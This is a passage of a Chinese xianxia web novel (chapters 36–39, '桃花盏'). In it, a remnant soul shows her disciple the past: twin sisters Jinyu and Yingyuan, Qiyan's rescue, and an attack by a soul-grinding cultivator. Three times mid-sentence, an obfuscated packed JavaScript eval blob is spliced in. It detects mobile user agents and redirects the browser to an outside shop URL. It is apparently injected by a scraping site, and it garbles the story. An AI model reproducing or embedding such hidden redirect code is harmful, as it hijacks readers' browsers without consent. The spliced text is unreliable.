桃花盏 青鸾越听越迷惑,“若是陨落,尚还有转世为人的机会,自毁可谓是断绝了自己所有的生机,你师父她,何以至此?” 听青鸾如此问,忘忧的眼中再次升腾起恨意,她近乎咬牙切齿道:“便是因为婴垣,是她害了师父。” “当年婴垣与祁颜一同造访小华山,她自称是师父的孪生妹妹,此番是来寻亲的。不巧彼时正有两条蛟龙在小华山外斗法,师父恐它们殃及无辜,便亲自前往小华山外布下阵法守护山中生灵,并不在桃花林中” “当时婴垣手中拿着师父传讯于白石老人的玉简,我瞧那确实是师父之物,所以为他们引路,带他们去寻师父。后来得知,她的确是师父的亲妹妹。” “可是正因如此,我才无法接受不能释怀!她既然是师父的亲妹妹,为何会行如此恶毒之事,引得强敌来到小华山,害我师父性命!” 虽不知忘忧口中的恶毒之事到底是何事,也不知当年婴垣为何会这样做,但青鸾看得出来,这件事已然成为忘忧的心魔。 当年之事她不知究竟,也无法想象曾经护佑羭次山中生灵的婴垣会行毒害亲姐之事,因此也不知该如何安慰忘忧。 便在这时,她刚才感受到的空间波动再次来临,并且这一次的波动比刚才更加剧烈,连周围的事物都出现了扭曲。 忘忧自也感受到了这股波动,她扑到三生水前,泪眼婆娑地注视着静静躺在水底的玉石。 “师父,是你吗?是你回来了吗?” 青鸾也走了过来,瞧见玉身散发出朦胧的光辉,似在回应忘忧的呼唤。 忘忧早已哭成泪人,这么多年过去了,她终于再一次感受到了师父的气息,“师父,真的是你,三生水竟然真的护住了您一缕神魂。” 玉身散发出的光芒有规律地闪动着,忘忧一动不动地望着那道光芒,似乎在解读瑾瑜残魂的传讯。 过了一会儿,她似是读出了瑾瑜想要传达给她的信息,神色黯然道:“是的,祁颜回来了,但婴垣没有同他一起回来。” “婴垣,婴垣她……”剩下的话在嘴边绕了许久,她下了很大决心,才将这个消息告知瑾瑜:“她已经陨落了。” 话毕,但见玉身的光芒瞬间停止了闪烁,天地万物一片寂静。 便在这寂静中,忽然刮起了一道狂风,风吹得四周花瓣凋落,似是这片桃花林在为谁落泪。 即便不能如忘忧一般感应到瑾瑜的传讯,但青鸾也能感受得到,空间的波动比方才看到祁颜时更为激烈。 那是一股浓烈的悲伤。 瑾瑜在为婴垣的陨落而悲伤。 “师父!”狂风乱舞中,忘忧悲戚呐喊:“是她行那不恩不义之事,是她害得您自毁不能超脱,您何苦为了她如此伤心,致使神魂不稳!她害了您,我恨不得将她千刀万剐碎尸万段!” 这风舞得狂乱,但显然风中的忘忧更加狂乱,压抑在心中多年的情绪奔涌而出,她已有走火入魔之兆。 青鸾不能见死不救,连忙冲上前去施法护住她的心脉,避免她因走火入魔爆体而亡。 刚刚触碰到忘忧的身体,青鸾便感受到一阵难以承受的灼热,与此同时忘忧纷乱的思绪与情感也涌入了她的脑海,她瞬间感受到了忘忧的痛苦,其中有对师父的不舍,还有对婴垣的仇恨。 青鸾暗暗道了一句好险,若是再晚一步替忘忧护住心脉,她真的会走火入魔。 走火入魔之人如同身陷地狱,青鸾不过感受到了冰山一角,便觉得难以维系。好在此时风声渐息,一缕微风拂面而来,带着清凉的气息。 这清爽的微风令忘忧恢复了一些理智,她有些茫然地注视着前方,但见花瓣飞舞的星草地上,隐隐约约浮现出师父的身影。 这并不是忘忧的幻觉,因为青鸾也瞧见了那道身影。 浅紫色衣衫穿在她的身上宛如一片紫色的云烟,轻挽的发髻垂在鬓边,不见任何钗环饰品,却衬得她如同超脱世外的仙。 这便是瑾瑜? 青鸾看呆了眼。 因眼前的瑾瑜只是一缕残魂所化,青鸾并不能看清她的眉眼,但她能感受得到,瑾瑜似乎在冲她笑。 “多谢小友完成舍妹所托,将祁颜送回小华山。更谢你替我徒儿护住心脉,使她不致走火入魔。”瑾瑜的声音也很好听,像山间清冽的泉水,染了一点霜寒:“我离开后,这三生水请小友带走,便当作是我的一点谢礼。” 听忘忧所言,这三生水可护人魂魄,而且传自白石老人,显然是稀世罕见的宝物,哪里是瑾瑜口中的一点谢礼。 青鸾有些惶恐,却又不好推辞,左右为难间,瑾瑜已不再搭理她,而是将目光移到了她的爱徒身上。 “忘忧,你受苦了。”她并没有责怪忘忧,而是心疼地注视着眼前憔悴的徒儿,抬手想要抚她头顶,却又意识到自己只是一缕神魂,无法真正触碰到她,于是将手停在了半空。 眼前这一幕看得青鸾心口疼,她好像有些理解忘忧为何这么多年过去,仍旧对师父的陨落无法释怀了。 “师父,我不明白,我不明白……”忘忧心魔未除,多年以来郁结于心的情绪早已成为她的执念,她无法原谅婴垣,因此也无法接受她的师父原谅婴垣。 倘若瑾瑜就这般轻易地原谅了婴垣,她甚至觉得,这是对自己多年痛苦的一种背叛。 “我知道,我知道。”瑾瑜好像生怕吓到了正在崩溃边缘徘徊的忘忧,极有耐心地安抚着她:“所以我来,带你去看。” 说着,她牵住忘忧的手。 虽并不能真正触碰到彼此,但好像隔着阴阳,她们能感受到彼此的温度。 瑾瑜牵着忘忧踏入时空的长河,连同着青鸾一起,也能目睹曾经发生在瑾瑜身上的故事。 青鸾赶忙冲小蓝招了招手,小蓝纵身一跃,踩在青鸾的肩头。 就这样,二人一兽随着瑾瑜的残魂一起踏入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712388|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了飘渺的时空。 “因为三生水的护持,我这一缕生魂可跨阴阳两界,可窥过去未来。如此,倒令我多出一些从前未能有的感悟。忘忧,须知大道万千,天下修仙之人所修的,不在过去,也不在未来,而只在当下。所谓生离死别,同样如是。” 瑾瑜当真是一个合格的师父,一面带他们跨阴阳窥过去,一面还在点悟忘忧道法。 青鸾在一旁听着,虽觉瑾瑜之言很难理解,却也隐隐约约有所感悟。 “此刻我带你重现往日情形,并非要你继续沉溺过往,而是盼你能有所悟,回到此刻当下。” 说话间,瑾瑜似乎已带他们回到了过去的某一个时间节点。 眼前的场景应当是在小华山外,但见山外有一黑一白两条蛟龙正在恶斗。 准确来说它们都是蛟而非龙,且修为相当,应该都到了即将化龙的关键时期。 一山不容二虎,也容不下二龙,它们此刻在小华山外恶斗,应当是在争夺那唯一一个可以化龙的造化。 二蛟相争,胜者突破瓶颈化而为龙,败者自此陨落身死道消,因此它们这一战打得激烈异常,所使的尽是杀招。 这便苦了周围的百姓,一条即将化龙的蛟威力之大便足以排山倒海,更何况此刻是两条实力相当的蛟在此处死战。 哪怕是它们尾巴扫过的余波,也能够轻易掀翻一座山头。 就在众人惊恐逃难之际,一道纤细的身影自小华山飞来。 身着紫衫的女子看起来弱不禁风,却张开双臂在空中布下一道守护禁制,不仅护住了小华山,还护住了方圆百里之内的一切生灵。 青鸾定睛瞧着,那紫衫女子想来就是多年前的瑾瑜。 他们应当是随瑾瑜残魂回到了婴垣与祁颜初至小华山的时候。 穿越时空长河回到过去,青鸾终于看清了瑾瑜的眉眼。原本以为她应当是个疏离清丽的女子,却没想到她同婴垣一样是一张圆圆的脸。只是婴垣的眼睛更圆更大一些,而瑾瑜的眼睛介于凤眼与杏眼之间,目光流转之处,好似波光粼粼。 那一双令人惊艳的眼眸让她的容貌由清秀可人变为了艳绝八荒。 青鸾望一眼此刻立在她身旁的瑾瑜残魂,又望一眼将此间生灵都护在自己身后的过去的瑾瑜,心头微动,不知为何突然想到了婴垣。 二蛟相斗的威势一下又一下地撞在瑾瑜布下的禁制上,随着它们恶斗的升级,打在禁制上余波也愈来愈厉害。 瑾瑜的脸色已经变得惨白,可她一步也不曾退让,坚守在原地,以消耗自身精血为代价维持禁制,将众人死死护在自己的身后。 看着眼前的场景,青鸾脑海中不由自主浮现起婴垣在羭次山上与山神相搏,替山中生灵挡下山神之火的身影。 姐妹二人挡在众人之前的身影,此刻竟在青鸾脑海当中莫名重叠了起来。 她默默在心里感慨,瑾瑜与婴垣,她们可真像呀。 37. 桃花盏 见青鸾不知想些什么想得出了神,站在她肩头的小蓝抬起尾巴扫了扫她的脸,将她从羭次山的回忆中拉了回来。 青鸾回过神来抬头去看,看见他们所处的这片时间长河仍在继续向前流逝,当年前往小华山寻亲的婴垣终于出现在了眼前。这便与青鸾在婴垣的记忆识海中所看到的最后一幕接上了。 祁颜带着婴垣来到了小华山。 他们在忘忧的带领下寻至小华山外,所看见的便是两条巨蛟殊死搏斗的可怖场面,还有在半空之中顶着二蛟相争的余威,为山中生灵布下守护禁制的瑾瑜。 “此地太过危险,你们还是先回小华山去吧。”忘忧抬首望着摇摇欲坠的瑾瑜,脸上满是担忧之色。若非师父出发前曾再三叮嘱过她,此二蛟都即将化龙,让她不得轻举妄动,她恐怕早已冲上前去替师父分担余威了。 令她没有想到的是,一旁的祁颜突然飞身上前,做了她想做的事。 婴垣本来尚在山下观望,忽见祁颜飞身而上,与瑾瑜并肩而立。在禁制被撞击而发出的一阵又一阵金光之中,祁颜微微垂首,似乎同瑾瑜说了一句什么。 微不可见地皱了皱眉,婴垣当即决定与祁颜同去,却被忘忧一把拉住,“这两条蛟龙的威力已逼至化神境的修士,你不可随意上前。” 其实即便忘忧不说,婴垣也能感受得到,那两条蛟龙绝非她可以抗衡的。即便只是抵挡二蛟相争的余威,她也撑不住片刻。 何况瑾瑜所布下的禁制覆盖了方圆几百里,这样一个大阵,就算没有强敌来袭,仅仅是维系法阵,也绝非一般人可以做到的。 但瑾瑜不仅维系着如此大阵,还独自承受着二蛟相斗的余威。婴垣不由攥紧了拳头,身为她的孪生姐姐,瑾瑜比她强大太多。 而此时半空之中,祁颜已飞至瑾瑜身旁,在瑾瑜略带诧异的目光中双手结阵,不仅帮她维系住了阵法,还替她分担了部分余威。 他微微垂首,轻声对她道:“我来助你。” 祁颜的加入着实令瑾瑜松了口气,这让她得以分出精力进行调息,也得以分出一部分注意力观察山中情况。 目光向山中扫去,只一眼,她便看到了立在忘忧身旁的婴垣。 看到多年未见的妹妹归来,她不禁面露喜色,从来淡然平静的目光中多了一些波澜,似乎恨不得立马来到婴垣面前与她相认。 好在此刻二蛟相斗已接近尾声,一蛟显露败相,朝西边遁走,另一蛟发出一声怒吼,紧随其后跟上。 眼见着二蛟离开,山中众人齐声欢呼,瑾瑜则立即收了法阵,转身朝婴垣的方向飞去。 她是寻妹心切,没有想到蛟龙摆尾的威力如此巨大,那恶蛟转头追逐手下败将时愤怒的一甩尾正好朝她砸来。 瑾瑜感受到了从身后传来的危险气息,但此刻已全然来不及闪避。她咬了咬牙念诵护心诀,原本打算生生承受这一击。可是预想中的重击并没有来临,她被一个人死死护在了温暖的怀中。那人将她抱在怀里,替她挡住了蛟龙摆尾的冲击。 她错愕地回过头,正好对上祁颜的眼眸。瑾瑜张了张嘴,还没来得及有所反应,便见祁颜吐了口血,松手向下坠去。 蛟龙这一击非同小可,他显然伤得不轻,瑾瑜连忙飞身而下接住他。 却见山下的婴垣速度比她更快,焦急地飞了上来同她一起接住祁颜。 “妹妹。”瑾瑜惊喜地抬头唤她。 可婴垣只垂首注视着陷入昏迷当中的祁颜,“他伤得很重,你快点救救他,快一点!” “你们认识?”瑾瑜只问了这么一句便不再多问,眼前的情况哪怕是个傻子也能看得出来,婴垣与祁颜之间的关系恐怕不仅仅是认识而已。 “你放心吧,我会全力救治他,不会让他有事的。”瑾瑜将手搭在婴垣的手背上,惊觉婴垣的手无比冰凉,再看她的一张小脸,也因太过担心祁颜而变得惨白。 瑾瑜想要握一握婴垣的手以示安慰,却被她一把打开,“你别光在这里说,你快点去救治他呀,他是为了你才伤成这个样子的,你便只知道在这里向我空口承诺吗?” 见婴垣情绪这般激动,瑾瑜抿了抿唇,终不再言语。没想到在心中期待了多年与妹妹重逢的场景,真等到了这一天,却是眼前这个情形。 “忘忧为我护法。”几人落地之后,瑾瑜立马抬手化出自己往常闭关时的秘境,只交代了忘忧这么一句,便带着祁颜往秘境中去,开始为他疗伤。 彼时忘忧有些看不过去,却碍于婴垣的身份,忍了半晌,才悻悻问了她一句:“你的姐姐方才为了维系阵法,消耗如此巨大,你便只担心那个男子么?” 婴垣却好似已听不进去旁人的话,只颤抖着双唇,在一旁不断地自言自语,“他是为了她才伤成这个样子的,他是为了她才伤成这个样子的……” “先跟我回去吧,他这一下的确伤得不轻,再加上师父自己也旧伤未愈,她如今闭关为他疗伤,没有几个月是出不来的。”忘忧原本还想劝慰她几句,见她如此模样,便什么也不想说了,只微微抬了抬手,示意婴垣随她回到小华山的桃花林,“你也知晓自己的身份,桃花林中有禁制,可以掩藏你们的气息,再待在此处,恐怕会引来觊觎子玉的强敌。” 婴垣虽然担心祁颜,恨不能亲自到那秘境中为他疗伤,却也深知自己修为有限,去了也帮不上忙,可能还会耽误祁颜痊愈。只好随忘忧而去。 而此时在那秘境之中,瑾瑜正将祁颜扶至秘境最中央的灵泉旁,引灵泉之水为阵,将祁颜团团护住。若在以往这些事情做来定是不费吹灰之力,可今日她却有些吃力。 眼下的情况的确如忘忧所言,祁颜身负重伤,瑾瑜自己也旧伤未愈,虽则这秘境中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712389|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵泉蕴含神秘的灵力,可以帮助二人恢复伤势,但即便如此,没有几个月的工夫他们也是无法痊愈出关的。 瑾瑜望一眼憔悴的祁颜,再抬首望一眼天,然后轻轻叹了口气。 想要与妹妹好好叙一叙旧,又得等到几月之后了。 她施法令祁颜抬起双臂,自己则与他掌心相对,以自身为媒介,引导灵泉水的灵力游走至祁颜的五脏六腑。 疗愈被震伤的肺腑,重修破碎的经脉,这些都需要打起十二万分精神来做,因此一个月后祁颜醒来时,看见的便是与自己相对而坐,脸色愈发苍白,甚至人都瘦了一圈的瑾瑜。 察觉到祁颜醒转,瑾瑜睁开双眼,有些疲惫地望着他,“你醒了?可还感到有何不适?” “没有。”祁颜摇了摇头,这时才发现不仅受伤的地方都得到了修复,瑾瑜还帮他重新稳固了体内道根,再加上她不断地引灵泉之水疗养他,如今他的功力竟更甚从前。 他有些讶异地望了一眼身侧的灵泉。 也不知这灵泉是何来历,灵气比寻常灵泉充沛十倍不止,更罕见的是它似乎还蕴藏着一股令人无法参悟的力量,那神秘的力量正随着瑾瑜的引导游走于他的经脉之间,一寸一寸地将他的肉身巩固在最巅峰的状态。 瑾瑜读出了他眼神中的困惑,也侧首望了一眼灵泉,向他解释道:“此秘境是一个时空境,独立于我们所处的时空之外,是多年前我无意间救下的一位前辈所赠。那位前辈似乎有跨越时空的能力,修为高深莫测,非此世间人物。她说这时空境中的灵泉乃她的一位好友所种,只要未伤到根基,以此灵泉疗伤皆可痊愈。” 祁颜点点头,再望向灵泉时眼中多了些钦佩之意。没有想到如此厉害的一池灵泉,竟不是经历了百万年光阴自然形成的,而是人为所种。那么种下灵泉的前辈修为有多高深,简直不可想象。 “你既已醒转,便可以自行疗伤了,不过灵泉水只有这秘境的主人可用,自明日起我会在每日辰时为你引泉洗髓。”交代完这句话,瑾瑜便向泉水旁的一间木屋走去。祁颜已经没有大碍,她要开始为自己疗愈旧伤了。 祁颜望着她的背影,似乎有话想同她说,最终却还是皱了皱眉,犹豫着闭上了嘴。 自那日之后二人便一直无话。瑾瑜原本便不是话多之人,祁颜倒是有很多话想说,却因有所顾虑一直没有开口。 除此之外,其实他们讲话的机会也并不多。这秘境虽不大,但大多数时间祁颜是见不到瑾瑜的,一天里只有辰时两人在灵泉旁对坐调息时他可以见她一面。绝大多数时候,瑾瑜都独自在木屋中疗伤。 如此又过去一月,瑾瑜旧伤痊愈,祁颜也以灵泉重新炼体,二人决定出关。 离开秘境之前,瑾瑜对他说了这一个月以来的唯一一句话:“多谢你救我,助你以灵泉炼体是我对你的答谢。” 38. 桃花盏 瑾瑜在秘境中对他的那句答谢说得真诚却又疏离,在祁颜看来,她此前所做和所说的一切更像是为了还他人情,像是在刻意避免与他沾染因果。 事实证明他的感觉并没有错,离开秘境回到小华山后,瑾瑜虽然嘴上说着欢迎他久居小华山,但实际上一直在有意无意地避开他,与他保持距离。 反倒是婴垣的态度与从前相比大不一样。如今她总会主动来寻他,或要他陪自己修习功法,或死缠烂打让他带自己去小华山外逛一逛。更多的时候,她会在他酿酒时蹲在一旁,一动不动地注视着他。 时光匆匆,算来他已在小华山待了半年有余,又一年初春将至,小华山中的桃花开得漫山遍野都是。 自从来到这里,他们便没有去过古水镇,也再没有喝过镇中那名为公主酿的桃花酒。今年春天,他想试一试能否亲自酿出那样好喝的桃花酒来。 这一日婴垣如往常那般看着祁颜酿酒,歪着脑袋盯了半晌,她忽而没头没脑地问了祁颜一句:“你不会离开小华山的吧?” 祁颜手上的动作明显慢了一下,随后他转首注视着婴垣,同她道:“过了今年春天,等桃花谢的时候,我便准备回公主冢了。” 他并不打算瞒她。说起来,他之所以会来到小华山,原本就是不忍婴垣独自寻亲,因此才将她一路护送至此。如今她已在小华山待了大半年,想必早已熟悉环境,也到了他该离开的时候了。 更何况,此处的主人似乎并不太欢迎他。 想到瑾瑜,他不由苦笑了一下。 便连他自己也很难分辨得清,他对瑾瑜到底是怎样的感觉。他也不知那一日在小华山外初遇瑾瑜,见到她独自在半空中结阵保护山中生灵时,那一瞬间的心悸到底是因为什么。 也许是对这女子大义之举的钦佩吧,但似乎又不止如此。 他自己都说不清楚此间纷杂心绪,因此当婴垣追问他为何初次相见就奋不顾身替姐姐挡下蛟龙攻击时,他也只好回以沉默。 他已在小华山中思索了大半年,可惜这大半年都没思索出什么结果来,反而心中翻涌的情绪一日胜过一日。心绪如此杂乱,其实对修行十分有碍。他觉得自己不能再待在这里了。 等过了今年春天,便离开小华山,回到他的来时之地吧。 他在酿酒时做下了这个决定,可婴垣却怎么也无法接受他的这个决定。 她先是恼怒地质问祁颜为何要离开,然后软磨硬泡想要他留下来,最后发现祁颜似乎是铁了心要走,无论她怎么威逼利诱也无法挽留住他,于是敏锐地察觉到了他的想法,询问他着急要走是否因为一直躲着他的姐姐。在祁颜第无数次摇头之后,她赌气地把自己关进了房间里,任谁敲门也不肯见。 她这一关就将自己关到了夏至,小华山中的桃花早已谢了,林间的星草则在摇曳着生长。 祁颜在一日夜里启出两坛桃花酒,拎着酒往桃林最深处的星草园中去。 到了夏日,瑾瑜每夜都会出来给星草浇水。这种草的生长方式如它的名字一般特别,唯有在星光辉映下,才能吸收水分获得能量。 行至星草园里,祁颜停下了步伐。 果如他所料,瑾瑜正在园中浇水。 她自然察觉到了祁颜的到来,不过今夜她并没有像往常一般见到他就躲开,反而主动朝他打声招呼,然后问了一句:“你打算离开了么?” 她看得出来,他这是来同她道别的。 祁颜压抑住心中的情绪,脸上扬起一个满不在乎的笑容。他拎着酒走到瑾瑜身旁,分了一坛给她,然后席地而坐,仰着头一口气喝了半坛酒。 “这是从前我与婴垣最喜欢喝的酒,你也尝尝。”这酒并不算烈,可是今夜喝着,每一口都好像刀子般划过他的喉咙。顿了一顿,他道:“便当作是我这段时间留居小华山的谢礼吧。” 瑾瑜转过头认真地看了他一眼,浇完最后一瓢水后,捡起地上的酒坛走过来,在他的身边坐下。 启开酒坛,她垂下头轻轻地吸了一口气:“好香。” 祁颜笑了笑,没有说话。然后两人便开始沉默地对月饮酒。 今晚的月色甚美,星草在月光与星光的照耀下,也散发着盈盈光辉。星星点点的光芒扫过祁颜的发梢,掠过瑾瑜的衣衫,飞舞着环绕在他们的身侧。 像是银河落于九天,缓缓流淌到了他们身边。 祁颜喝完最后一口酒,拍了拍肩上的寒霜,望着月色吐了口气:“我要走了,你多保重。” 他起身离开,背影被月光拉得老长,瞧着有说不出的萧瑟之意。瑾瑜望着他的背影,心中五味杂陈,纠结片刻,鬼使神差开口:“我知道你想问什么。” 祁颜蓦地停下步伐,继续听她说。 空气中弥漫着淡淡的酒香,风从身后吹来瑾瑜的声音,“我在第一眼看见你时,也觉得十分熟悉,好像我们曾经在哪里见过。后来在秘境之中,我曾尝试一窥你我前世。” 听到这里,祁颜猛地回过头来望着瑾瑜。他的眼尾微微发红,衬得他那双好看的眼更像是在朦胧夜色中盛开的一尾桃花。 瑾瑜似是有些不忍直视他的双眼,微微侧过头,避开他的视线。 “我很确信那日在小华山外是我们的初次见面,那么这股莫名的熟悉感只有可能来自前世。只要进入到时空境中的人,我都有方法窥见其前世记忆,当然,只能凭借运气看见一些不连续的片段。” “不过那也足够了,我看见在三世之前,我们曾经有过交集。” “三世之前?”祁颜扬了扬眉,他仍旧在笑,只是此刻那笑容里有掩不住的苦涩,“既然如此,你为何要一直躲着我?你可知我这段时日里,总担心靠近你是在打扰你,总害怕同你倾诉那莫名的熟悉感,又会令你感到唐突。何谓左右为难、进退难安,我今日才算是体会到了。” 瑾瑜依然没有看他,将头偏向一边,不知在想些什么。 她的面色一如既往平静,可是双手紧紧攥着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712390|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裙角,因太过用力,骨节已没有一点血色。 过了许久,她才轻描淡写说了一句:“其实也没有很深的交集,不过是……萍水相逢罢了。” “萍水相逢……那你为何不看我。”祁颜一边摇首,一边靠近瑾瑜,注视了她半晌,缓缓蹲下身,抬手抚上她的脸颊:“你看着我,然后告诉我,我们只是萍水相逢。” 如今他总算明了,为何初见婴垣时,他会产生一股莫名的熟悉感,而这种熟悉感会在见到她的孪生姐姐时变得愈发强烈。 原来是因为他们早就有过交集。 可是,她告诉他,即便有过交集,也只是萍水相逢。 他不肯相信。 瑾瑜终于转过头来,与他对视半晌,始终平静的眼眸中翻涌着一些隐忍的情绪。 前世今生,宿命羁绊,她心中的确有一些情绪正纠缠着涌起,但并非不能克制。 过了许久,她一字一句道:“无论前世你我有何交集,那终归只是前世之事。其实你非要知晓也无妨,我可以告诉你。在那一世,你于我有救命之恩,我为了报恩,曾经守护你的本体百年,而在此期间你应当是无知无觉的。你我之间曾有的交集不过如是,白驹过隙,光阴荏苒,为何不将目光放在眼前?” 祁颜怔了怔,“什么眼前?” “婴垣。”瑾瑜语气坚定:“你难道感觉不到她心悦你?你与她难道不是关系亲厚?” “瑾瑜,我与她关系再亲厚,也非男女之情。”这是祁颜第一次唤她的名字,瑾瑜二字脱口而出时,他们都愣了一下。 他的手仍旧轻抚着她的脸庞,此刻他感到掌心滚烫,这令他有些不知所措。 又是一阵沉默,就在他们即将眩晕在彼此的注视中时,祁颜突然笑了一声,他再次唤了她的名字:“瑾瑜,这便是你一直以来躲着我的原因?” 瑾瑜有些怔然地望着他,突然不知道该说些什么。不知是不是方才的酒意醉人,抑或是今晚的月色醉人,她感到大脑一片空白。 此刻望着祁颜,她的脑海中翻来覆去竟只有一个想法。 他可真好看呀。比星草好看,比桃花好看,比月色还好看。 两相对视,静默无言,可此时的沉默好似携着两人跨过了某道天堑。 瑾瑜的目光中少了一些疏离,此刻她认真地注视着他,好像正在细细描摹他的面容。这让祁颜感到惊喜,这几月以来郁结于心的情绪好像终于找到了一个宣泄之地。 “瑾瑜,我……”他刚一开口,忽听到山外传来一声巨响,紧接着地动山摇,就连瑾瑜布下的守护禁制都裂开了一条缝隙。 有强敌来袭。 这一声巨响将瑾瑜拉回现实,她将自己从前世今生的记忆中抽离出来,不再看祁颜,转身便朝山外飞去。 却不曾想方才的那一声巨响只是一个开始,紧接着便是接二连三的轰响之声。 山脚闪烁起一道强光,在那刺目的光亮中,瑾瑜看见了婴垣的身影。 39. 桃花盏 见到婴垣有性命之忧,瑾瑜已经顾不得去想妹妹为何会在这个时间出现在山脚。 一手拈诀,一手化剑,她以最快的速度地朝婴垣所在的方向御风而去。 山脚处,婴垣正被一白发老人死死困住。他一边擒住婴垣,一边高举捣药的石臼,那石臼散发着幽绿色的光,看起来像是吸人魂魄的邪门法器。 此刻他的确是在用石臼吸取婴垣的精魄,并且正在催动法器,看起来像是要立马将她研磨入药。 能想到将生魂研磨入药的法子,此人定是一名邪修。婴垣痛苦不堪的表情不仅没有让他心软,反倒令他更加兴奋,“没想到还真让老夫捉到了一枚子玉,看我立即炼化了你,免得夜长梦多!也算是你倒霉,想叫就叫吧,你越痛苦,那些被碾碎的精魂效力也就越大!哈哈哈哈……” 婴垣原本是今夜无法入眠,想去瞧一眼祁颜在做什么,却见他拎着两坛酒往姐姐的星草园去,于是悄悄跟了上去。 这便让她听到了二人在星草园中的对话。 她委实没有想到,姐姐竟与祁颜有着前世今生的缘分,更没有想到,祁颜初见她时,之所以会觉得她身上的气息熟悉,仿佛他们早就已经认识,也不过是因为姐姐的缘故。 她之所以能在一开始就吸引祁颜主动接近,只因为她是瑾瑜的孪生妹妹。 倘若这些事情只是令她感到震惊,那么真正令她无法接受的,是看见祁颜情绪激动地向瑾瑜陈情。他说他不敢靠近她,是因为生怕打扰了她,他还说他甚至不敢同瑾瑜倾诉那一股莫名的熟悉之意,是因为害怕唐突了她。 原来,在面对真正令他心动的人时,他可以全然收起那副玩世不恭的浪荡模样,原来他在面对喜欢的人时,竟是那般小心翼翼。 原来他也有情绪激动的时候,原来他也并非对一切事物都浑不在意。 亏她一直都自诩与他关系非同寻常,亏她一直都因为他的主动接近而沾沾自喜。 在瑾瑜与祁颜沉默着互相靠近的时候,她转身离开星草园,离开了小华山。 起初她只是不想继续看到眼前发生的一切,只是想赶紧离开这个地方,至于离开之后去哪里,她并没有想过。 直到恍恍惚惚走到了山脚,她才惊觉自己已经走远,再多走一段距离,就当真离开小华山了。 她停在原地思索了片刻,最后还是决定回到从前与师父一同居住的地方去。 她想,今晚过后祁颜应当就留在小华山了吧,那么正好,她便独自回到来时之地,继续同师父一起生活。待师父陨落之后,她就搬到公主冢去,等到春天的时候,她还可以去古水镇喝一盏桃花酒。 即便以后的日子都没有祁颜,她也能独自过得很好。 虽然她在心里盘算得挺好的,可是想到以后当真要独自一个人生活,她又忍不住鼻头泛酸,眼里瞬间蓄满了泪水。 她便是在这时看见了这个白发老人,彼时他正撑着拐杖步履蹒跚地上山,见到婴垣,他一步一踉跄地走过来朝她问路。 泪眼朦胧间,她仿佛看到了自己的师父白石老人,一时头脑发热,主动上前扶住他。 她当时压根没有想过这么晚了,为何会有老人独自上山。但在扶住老人胳膊的瞬间,她便察觉到此人体内正运行着磅礴灵气,他定然是个道行不低的修士。既然道行不低,便不可能是眼前这副孱弱的模样。 可惜待她反应过来时,一切都已经晚了。 她被那老人掐住手腕,瞬间失去了所有力气,自手腕处传来的刺痛感一路蔓延至她的大脑,好像有一把无形的刀正在切割她的身体。 随后便见他取出石臼,催动法器,那石臼中射出的幽绿色光芒如一尾毒蛇缠绕着她的身体,她想要呼救,却怎么也发不出声音。 她能感觉得到,自己的灵魂在被一点一点抽离,那些被抽离体外的灵魂紧接着就会被那个法器生生碾碎。 她的眸子逐渐失去生气,死亡的阴影开始笼罩着她。 便在这时,在一片绝望的死气之中,她看见瑾瑜朝她飞来。 她原以为这是自己死前出现的幻觉,瑾瑜此刻应当正和祁颜在星草园中互诉衷肠,又怎么会赶到她这里来呢。可是下一秒,她听到一声熟悉的呼唤。瑾瑜一边呼唤着妹妹,一边持剑刺向那白发老人。 竟不是幻觉,她竟真的来救她了。 婴垣呕出一口血来,沙哑着声音,从喉咙间挤出一声破碎的姐姐:“姐姐……救……我……” 这一声姐姐让瑾瑜持剑的手颤抖了一下,她以诀引雷,轰向仍在源源不断吸取婴垣精魄的石臼。电闪雷鸣中,那石臼在半空中晃了两下,然后轰然而碎。 摆脱了法器的束缚,婴垣再次吐了口血,软绵绵地从空中跌下。 “保护好我妹妹。”瑾瑜收了雷诀,对着赶来的祁颜嘱咐了这么一句,便杀气腾腾地挥出长剑,一道道凛冽剑光朝那老人扑面而去。 祁颜接住婴垣,施法替她稳住伤势,随后便想上前襄助瑾瑜。但在见到瑾瑜与对手过招的身法之后,他打消了这个念头。 她的功力远在对手之上,也远在他之上,根本不用他相助。 这是他第一次见到瑾瑜使出如此杀招。 她的每一剑都朝着对手的要害处刺去,这剑法既快且狠,不给对方一丝喘息之机。长剑挥舞出一道道银光,剑势优美如星光点点,但每一点看似无害的星光都会刺破对方血肉,每一道剑痕都深可见骨。 那白发老人越打越没了气势,节节败退之中,还忙里偷闲认出了瑾瑜所使的剑法,当即惊惶大喊道:“你是景星神君慕北辰的弟子?!” 